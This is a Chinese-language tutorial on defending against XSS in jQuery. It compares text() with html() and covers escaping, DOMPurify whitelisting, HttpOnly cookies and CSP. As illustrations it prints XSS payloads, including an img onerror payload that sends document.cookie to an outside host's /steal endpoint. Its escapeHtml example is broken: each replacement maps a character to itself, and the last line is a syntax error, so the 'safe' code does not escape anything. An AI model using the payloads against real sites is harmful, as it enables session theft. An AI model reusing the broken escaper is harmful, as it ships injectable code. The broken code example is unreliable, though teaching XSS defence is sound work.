在前端开发中,把用户输入渲染到页面上是再常见不过的操作:评论区展示留言、搜索框回显关键词、后台管理系统输出配置信息。很多开发者习惯性地调用jQuery.html()来填充内容,却忽略了这一个决定性的问题:这个字符串里如果藏了一段脚本,浏览器会不会执行它?答案是会。这就是XSS(跨站脚本攻击)的核心成因——不可信数据在没有经过安全处理的情况下被当作HTML解析。本文将围绕text()与html()这两个方法的行为差异,详细讲解如何正确过滤与转义,从源头上阻断XSS。

一、text()与html()的本质区别:谁在解析内容
理解这两个方法的差异是防御XSS的第一步。text()方法在写入内容时,会调用DOM节点的textContent属性,浏览器把传入的字符串当作纯文本处理,任何标签、实体、脚本都会被当成普通字符显示,不会被解析执行。
而html()方法内部使用的是innerHTML。浏览器拿到字符串后会启动HTML解析器,标签会被识别为元素,事件属性会被绑定,<script>、<img onerror>这类载荷就会真正运行起来。来看一个直观的对比:
var malicious = '<img src=x onerror="alert(1)">';
// 安全:页面上显示的是这串文本本身,不会弹窗
$('#box1').text(malicious);
// 危险:img标签被解析,onerror触发执行
$('#box2').html(malicious);一个简单的判断原则:如果内容不需要任何HTML格式(纯文本展示),一律使用text()。这是成本最低、最不容易出错的防御手段,因为不解析就意味着不执行。
二、html()的危险用法分析与常见攻击载荷
使用html()并非绝对禁止,问题在于把不可信数据直接拼接进去。以下几种典型写法都存在风险:
// 风险1:直接渲染用户输入
$('#comment').html(userInput);
// 风险2:拼接变量到HTML片段中
$('#tip').html('<b>' + keyword + '</b>');
// 风险3:从URL参数取值回显
var q = new URLSearchParams(location.search).get('q');
$('#searchTip').html('搜索:' + q);攻击者只需要在输入框提交<script>alert(document.cookie)</script>,或者构造<img src=x onerror="fetch('https://ipipp.com/steal?c='+document.cookie)">,就能在其他访问者的浏览器中执行任意代码,窃取Cookie、伪造操作、挂马跳转都可能发生。注意即使<script>通过innerHTML插入不执行,事件型载荷如onerror、onload、onmouseover依然有效,还有<svg onload>、<iframe src="javascript:...">等变种,不能只防script标签。
另一个容易忽视的场景是jQuery选择器注入:当用户输入被直接传给$()作为选择器时,精心构造的字符串可能被当作HTML片段解析。因此涉及用户输入时,应避免$(userInput)这种写法,改用明确的上下文查找。
三、必须使用html()时:转义、白名单净化与纵深防御
当业务确实需要渲染富文本(比如允许加粗、换行)时,就不能简单用text()了。此时应遵循两条路线:输出前转义,或使用白名单净化。
路线一是对所有不可信数据做HTML实体转义,再拼接进模板:
function escapeHtml(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 先转义用户输入,再拼入受控的HTML结构
$('#tip').html('<b>' + escapeHtml(keyword) + '</b>');注意转义顺序:必须先替换&,否则后续替换产生的实体会被二次转义。另外<、>、引号都要覆盖,只防尖括号是不够的,因为属性上下文中的引号闭合同样能造成注入。
路线二是使用成熟的净化库DOMPurify,它基于白名单机制清洗HTML,只保留允许的标签和属性,自动移除事件属性与javascript伪协议:
var clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'a'],
ALLOWED_ATTR: ['href']
});
$('#content').html(clean);相比自己写正则过滤黑名单,白名单方式不会遗漏新出现的攻击载荷,安全性明显更高。自写正则去剔除script标签的方案几乎必然被绕过,例如大小写混淆、属性注入、编码绕过等手法层出不穷。
纵深防御:多层级配合
除了输出端的处理,还应配合以下措施构建多层防线:
- 输入校验:对长度、格式、字符集做严格校验,例如手机号只允许数字,但不依赖输入过滤防XSS,因为数据可能经过多个入口。
- 服务端转义:数据入库前保留原样,输出时根据上下文(HTML、属性、JS、URL)分别编码,前端只做兜底。
- HttpOnly Cookie:设置该标志后JavaScript无法读取Cookie,即便发生注入也难以窃取会话。
- CSP响应头:配置
Content-Security-Policy禁止内联脚本执行,作为最后一道保险。
四、安全编码清单与最佳实践总结
把前面的内容收敛成一份可直接落地的检查清单:
| 场景 | 推荐做法 |
|---|---|
| 纯文本展示(昵称、评论正文) | 使用text(),天然安全 |
| 需要拼接简单标签 | 对变量先escapeHtml()再拼入html() |
| 渲染富文本 | DOMPurify白名单净化后交给html() |
| 构建元素 | 用document.createElement或$('<span>').text(...)而不是拼字符串 |
| 属性赋值 | 使用.attr()传值,不要把用户输入拼进HTML字符串 |
| URL跳转 | 校验协议只允许http/https,拒绝javascript:伪协议 |
再补充一个细节:jQuery 3.x已经移除了对<script>标签的部分处理行为,但这不意味着html()变安全了,事件型载荷依旧可执行,升级版本不能替代内容过滤。
总结来说,防御XSS的核心思想是数据与代码分离:不可信数据永远是数据,绝不让它有机会被当成代码解析。记住三条铁律——能用text()就不用html();必须用html()时对不可信部分转义或净化;永远不要相信来自用户的任何输入,包括URL参数、Cookie和接口返回值。把这套习惯贯彻到日常编码中,绝大多数存储型与反射型XSS都能被有效拦截。